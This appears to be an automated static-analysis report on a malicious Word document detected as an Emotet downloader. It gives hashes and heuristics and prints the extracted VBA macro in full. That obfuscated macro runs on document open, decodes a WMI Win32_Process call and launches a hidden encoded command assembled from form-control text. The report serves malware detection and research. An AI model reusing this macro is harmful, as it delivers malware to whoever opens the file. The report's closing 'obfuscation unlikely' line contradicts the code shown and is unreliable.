Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 27e174efb0d6e8b0…

MALICIOUS

Office (OOXML)

51.7 KB Created: 2020-01-30 13:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-01
MD5: 6b78a5b2eda6308673b9180efec0e612 SHA-1: 4eab480dabc34a595a71f23bbe1229c45464353f SHA-256: 27e174efb0d6e8b05cf666fd50c3163d91cd9bc9416197af58f70c1f027d2a0e
230 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7571983-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7571983-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Pyvmsavl = GetObject(Hdisqhhwsao)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5656 bytes
SHA-256: 5dbf28e47a084e7aca11dba7f21a7d1d32739d0b111c0de4b030cc8995e264de
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vfreckcf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   KJS = CVar(815)
INSD = 304
OISN = CVar(414)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(306)
NJSW = CVar(Mehvqhqbmez)
MIWHD = CVar("{Terraria}")
Call Vmumjntcsd
End Sub

Attribute VB_Name = "Xsbizrzkddi"
Attribute VB_Base = "0{807BCE60-E1F0-4EDF-9889-427642092C8D}{6184D545-BD59-45BC-A617-817892E997EC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Osemlskqe"
Attribute VB_Base = "0{ED6DA186-72E2-4FDB-BD43-17400D2E1644}{8323A6CF-E68C-4028-AAF8-5782E986A430}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Brqxpwpwgnoo()
Debug.Print "Operaion" + NS + "S"
End Sub

Attribute VB_Name = "Nqpqkddekgwow"
Function Vmumjntcsd()
   KJS = CVar(608)
INSD = 651
OISN = CVar(638)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(835)
NJSW = CVar(Pmsbzfwecvju)
MIWHD = CVar("{Terraria}")
Qyzmnvaf = "==/e3n//3^w==/e3n//3^==/e3n//3^==/e3n//3^i==/e3n//3^==/e3n//3^nmg==/e3n//3^mt==/e3n//3^==/e3n//3^" + ChrW(Int(wdKeyS)) + "==/e3n//3^:w==/e3n//3^in==/e3n//3^==/e3n//3^3==/e3n//3^2_" + Xsbizrzkddi.Rjsdvqqw + "ro==/e3n//3^ce==/e3n//3^==/e3n//3^s==/e3n//3^s"
   KJS = CVar(260)
INSD = 191
OISN = CVar(550)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(162)
NJSW = CVar(Xrdjsqtbmwgwf)
MIWHD = CVar("{Terraria}")
Hdisqhhwsao = Xyvlfgzp(Qyzmnvaf)
   KJS = CVar(84)
INSD = 720
OISN = CVar(937)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(896)
NJSW = CVar(Dhqqbqpsbdtf)
MIWHD = CVar("{Terraria}")
Set Pyvmsavl = GetObject(Hdisqhhwsao)
   KJS = CVar(201)
INSD = 140
OISN = CVar(413)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(778)
NJSW = CVar(Bbudbxpkkcz)
MIWHD = CVar("{Terraria}")
Xuuepryif = Xsbizrzkddi.Indzzcevl.Tag
   KJS = CVar(348)
INSD = 178
OISN = CVar(343)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(810)
NJSW = CVar(Cgwtaiki)
MIWHD = CVar("{Terraria}")
Dkrylqqyimfey = Hdisqhhwsao + ChrW(Int(wdKeyS)) + Xsbizrzkddi.Emyvowcvj.Tag + Xuuepryif
   KJS = CVar(27)
INSD = 260
OISN = CVar(690)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(586)
NJSW = CVar(Hgvrtxdlpxr)
MIWHD = CVar("{Terraria}")
Mzrnpgeknmyo = Dkrylqqyimfey + Xsbizrzkddi.Rjsdvqqw
   KJS = CVar(825)
INSD = 204
OISN = CVar(82)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(591)
NJSW = CVar(Nlndcezrdflnk)
MIWHD = CVar("{Terraria}")
Call Pyvmsavl. _
Create(Aagucatha, Dreqfpixear, Bljbzoypbpfn(Mzrnpgeknmyo), Afdkqdgwg, Wirurzxmagz, Tpffseuuvk)
   KJS = CVar(11)
INSD = 305
OISN = CVar(357)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(759)
NJSW = CVar(Rcfedtjgw)
MIWHD = CVar("{Terraria}")
End Function
Function Bljbzoypbpfn(Laiyfkgvjdv)
   KJS = CVar(828)
INSD = 453
OISN = CVar(775)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(698)
NJSW = CVar(Pxpfjbgmfke)
MIWHD = CVar("{Terraria}")
Set Bljbzoypbpfn = GetObject(Laiyfkgvjdv)
   KJS = CVar(116)
INSD = 353
OISN = CVar(506)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(626)
NJSW = CVar(Kzqtaionl)
MIWHD = CVar("{Terraria}")
Bljbzoypbpfn. _
showwindow = Eazcmsxqruw + Fecfbcaotrb
   KJS = CVar(117)
INSD = 974
OISN = CVar(845)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(12)
NJSW = CVar(Feyikxbwetpp)
MIWHD = CVar("{Terraria}")
End Function
Function Xyvlfgzp(Ufxqhskdfmxv)
   KJS = CVar(827)
INSD = 517
OISN = CVar(288)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(817)
NJSW = CVar(Jeznrwnxknr)
MIWHD = CVar("{Terraria}")
Xyvlfgzp = Join(Split(Ufxqhskdfmxv, "==/e3n//3^"), "")
   KJS = CVar(164)
INSD = 300
OISN = CVar(51)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(597)
NJSW = CVar(Nadhfkhtfg)
MIWHD = CVar("{Terraria}")
End Function
Function Aagucatha()
   KJS = CVar(15)
INSD = 719
OISN = CVar(843)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(253)
NJSW = CVar(Qpidydcvjnyif)
MIWHD = CVar("{Terraria}")
Covejfxzg = ChrW(Dcgtbyxh + wdKeyP + Yjnocatzsgsmz)
   KJS = CVar(220)
INSD = 881
OISN = CVar(445)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(440)
NJSW = CVar(Gnawytteuqfaq)
MIWHD = CVar("{Terraria}")
Eqndjefxvyfv = Covejfxzg + Xsbizrzkddi.Kyocilwc.ControlTipText + "-e "
   KJS = CVar(62)
INSD = 321
OISN = CVar(374)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(29)
NJSW = CVar(Ufwayizsqmwf)
MIWHD = CVar("{Terraria}")
dse = Xsbizrzkddi.Zfyksupirqw.ControlTipText
   KJS = CVar(137)
INSD = 959
OISN = CVar(964)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(280)
NJSW = CVar(Aeoaxejnyhcg)
MIWHD = CVar("{Terraria}")
Aagucatha = Xyvlfgzp(Eqndjefxvyfv + StrReverse(dse))
   KJS = CVar(708)
INSD = 307
OISN = CVar(453)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(613)
NJSW = CVar(Kvvoqiumxst)
MIWHD = CVar("{Terraria}")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 41984 bytes
SHA-256: 4ddc992ff44d04d12c9bf4dc286827698570a64b8e075ba3b2ba7ac1e1eca84e
Detection
ClamAV: Doc.Downloader.Emotet-7571983-0
Obfuscation or payload: unlikely